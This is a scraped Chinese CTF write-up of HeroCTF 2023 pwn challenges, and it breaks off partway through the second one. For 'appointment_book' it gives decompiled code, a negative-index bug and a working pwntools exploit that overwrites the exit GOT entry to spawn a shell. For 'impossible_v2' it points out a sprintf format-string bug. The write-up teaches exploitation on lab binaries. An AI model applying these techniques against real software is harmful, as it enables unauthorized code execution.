CTF 2023 三道pwn题 | 您所在的位置:网站首页 › mindbreak啥意思 › CTF 2023 三道pwn题 |
作者丨selphappointment_book程序信息 程序保护信息: ➜ HeroCTF checksec appointment_book[*] '/home/selph/ctf/HeroCTF/appointment_book' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 这里其实已经给出提示了,没有Relocation Read-Only,没有PIE,说明可以去修改got表项,当时咋就没想到呢hhhh 程序运行信息: ***** Select an option *****1) List appointments2) Add an appointment3) Exit Your choice: 2[+] Enter the index of this appointment (0-7): 0[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): 1111-11-11 22:22:22[+] Converted to UNIX timestamp using local timezone: -27080300601[+] Enter an associated message (place, people, notes...): YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY ***** Select an option *****1) List appointments2) Add an appointment3) Exit Your choice: 1 [+] List of appointments:- Appointment n°1: - Date: 1111-11-11 22:22:22 - Message: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY - Appointment n°2: [NO APPOINTMENT]- Appointment n°3: [NO APPOINTMENT]- Appointment n°4: [NO APPOINTMENT]- Appointment n°5: [NO APPOINTMENT]- Appointment n°6: [NO APPOINTMENT]- Appointment n°7: [NO APPOINTMENT]- Appointment n°8: [NO APPOINTMENT] ***** Select an option *****1) List appointments2) Add an appointment3) Exit 逆向分析主程序:就是提供个菜单项,主要功能在菜单函数内 int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ char *v3; // rax int v4; // [rsp+4h] [rbp-Ch] time_t v5; // [rsp+8h] [rbp-8h] memset(&appointments, 0, 0x80uLL); puts("========== Welcome to your appointment book. =========="); v5 = time(0LL); v3 = timestamp_to_date(v5); printf("\n[LOCAL TIME] %s\n", v3); fflush(stdout); while ( 1 ) { v4 = menu(); if ( v4 == 3 ) { puts("\n[+] Good bye!"); fflush(stdout); exit(1); } if ( v4 > 3 ) {LABEL_10: puts("\n[-] Unknwon choice\n"); fflush(stdout); } else if ( v4 == 1 ) { list_appointments(); } else { if ( v4 != 2 ) goto LABEL_10; create_appointment(); } }} list_appointments函数:这里只是展示结构体保存的内容,没有什么特别的 int list_appointments(){ int result; // eax char *v1; // rax int i; // [rsp+4h] [rbp-Ch] const char **v3; // [rsp+8h] [rbp-8h] puts("\n[+] List of appointments: "); result = fflush(stdout); for ( i = 0; i 7 ); // 【关键点!!!!!】 v5 = &appointments[i]; printf("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): "); fflush(stdout); fgets((char *)tmp_data, 0x1E, stdin); v0 = date_to_timestamp((__int64)tmp_data); // 接收到一个数字 v5->time = v0; // 保存到v5第一个成员 printf("[+] Converted to UNIX timestamp using local timezone: %ld\n", v5->time); printf("[+] Enter an associated message (place, people, notes...): "); fflush(stdout); fgets(content, 0x3E, stdin); // 写内容到chunk中 v5->pMessage = (__int64)content; // 只能申请chunk,不能释放,赋值一个指针 free(tmp_data); return v6 - __readfsqword(0x28u);} 这里的一个小细节,反而是这个题目的关键点!!!: do { printf("[+] Enter the index of this appointment (0-7): "); fflush(stdout); __isoc99_scanf("%d", &i); getchar(); } while ( i > 7 ); 这是中间的一段循环,意思是,如果输入的索引超过了索引上限,则要求重新输入,但是这里输入可以为负数! 程序里还有个辅助函数: .text:0000000000401336 ; Attributes: bp-based frame.text:0000000000401336.text:0000000000401336 ; int debug_remote().text:0000000000401336 public debug_remote.text:0000000000401336 debug_remote proc near.text:0000000000401336 ; __unwind {.text:0000000000401336 endbr64.text:000000000040133A push rbp.text:000000000040133B mov rbp, rsp.text:000000000040133E lea rax, command ; "/bin/sh".text:0000000000401345 mov rdi, rax ; command.text:0000000000401348 call _system.text:000000000040134D nop.text:000000000040134E pop rbp.text:000000000040134F retn.text:000000000040134F ; } // starts at 401336.text:000000000040134F debug_remote endp 当这里输入为负数,则绕过了索引值合法性的检查,使用负数索引,会导致索引到数组之前的地址上面,然后对其进行编辑 这里的思路就是,通过输入一个负数索引,让数组索引到got表项上,然后修改got表项的值为该辅助函数,最后触发拿到shell 利用查看该数组所在的地址:0x0000000004037A0 查看got表项地址: .got.plt:0000000000403740 A0 38 40 00 00 00 00 00 off_403740 dq offset strftime ; DATA XREF: _strftime+4↑r.got.plt:0000000000403748 A8 38 40 00 00 00 00 00 off_403748 dq offset __isoc99_scanf ; DATA XREF: ___isoc99_scanf+4↑r.got.plt:0000000000403750 B0 38 40 00 00 00 00 00 off_403750 dq offset exit ; DATA XREF: _exit+4↑r 计算中间的距离:0x50,刚好只需要输入为索引-5即可让time字段覆盖到exit函数上,只需要计算一下时间戳的转换即可: 这里有一个点就是,不同时区计算出来的结果是不同的,要在比赛中用上,需要使用比赛所在地的时区 这里本地利用,只需要使用本地时间即可,利用脚本: #!/bin/python3from pwn import * FILE_NAME = "./appointment_book"REMOTE_HOST = ""REMOTE_PORT = 0 elf = context.binary = ELF(FILE_NAME) gs = '''continue'''def start(): if args.REMOTE: return remote(REMOTE_HOST,REMOTE_PORT) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) io = start() # =============================================================================# ============== exploit =================== io.sendline(b"2")io.sendline(b"-5")io.sendline(b"1970-02-18 22:27:02")io.sendline(b"junk data")io.sendline(b"3") # ============================================================================= io.interactive() 运行结果: ➜ HeroCTF python3 appointment.py[*] '/home/selph/ctf/HeroCTF/appointment_book' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Starting local process '/home/selph/ctf/HeroCTF/appointment_book': pid 19621[*] Switching to interactive mode========== Welcome to your appointment book. ========== [LOCAL TIME] 2023-05-16 11:02:54 ***** Select an option *****1) List appointments2) Add an appointment3) Exit Your choice: [+] Enter the index of this appointment (0-7): [+] Enter a date and time (YYYY-MM-DD HH:MM:SS): [+] Converted to UNIX timestamp using local timezone: 4199222[+] Enter an associated message (place, people, notes...):***** Select an option *****1) List appointments2) Add an appointment3) Exit Your choice:[+] Good bye!$ w 11:02:56 up 8:17, 1 user, load average: 0.01, 0.13, 0.15USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATselph tty2 tty2 六14 2days 0.01s 0.01s /usr/libexec/gnome-session-binary --session=ubuntu impossible_v2时间花在了,格式化字符串和AES算法上 程序信息安全选项:无PIE,其他基本上都开了 ➜ HeroCTF checksec impossible_v2[*] '/home/selph/ctf/HeroCTF/impossible_v2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 运行: ➜ HeroCTF ./impossible_v2I've implemented a 1-block AES ECB 128 cipher that uses a random key.Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.(don't try too much, this is impossible). Enter your message: goodDo you want to change it ? (y/n) yEnter your message (last chance): asdSo, this is your final message: 6173640a000000000000000000000000000000000000000000000000000000000000000000000000 Well, I guess you're not this smart :) 提示的很明显,这里进行了一次AES ECB模式 128位的加密,使用的是随机的Key,要求最后加密的结果为0xdeadbeefdeadbeefcafebabecafebabe才行 逆向分析程序流程全在main函数里,比较简单: int __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [rsp+3h] [rbp-3Dh] char v5; // [rsp+3h] [rbp-3Dh] int i; // [rsp+4h] [rbp-3Ch] FILE *streama; // [rsp+8h] [rbp-38h] FILE *stream; // [rsp+8h] [rbp-38h] char input[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); puts( "I've implemented a 1-block AES ECB 128 cipher that uses a random key.\n" "Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.\n" "(don't try too much, this is impossible).\n"); fflush(stdout); streama = fopen("/dev/urandom", "rb"); fread(key, 0x10uLL, 1uLL, streama); // key是随机数 fclose(streama); printf("Enter your message: "); fflush(stdout); fgets(input, 40, stdin); sprintf(message, input); // 格式化字符串漏洞 printf("Do you want to change it ? (y/n) "); fflush(stdout); v4 = getc(stdin); getc(stdin); if ( v4 == 'y' ) { printf("Enter your message (last chance): "); fflush(stdout); fgets(input, 40, stdin); sprintf(message, input); // 再次输入的机会 } printf("So, this is your final message: "); for ( i = 0; i |
今日新闻 |
推荐新闻 |
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 |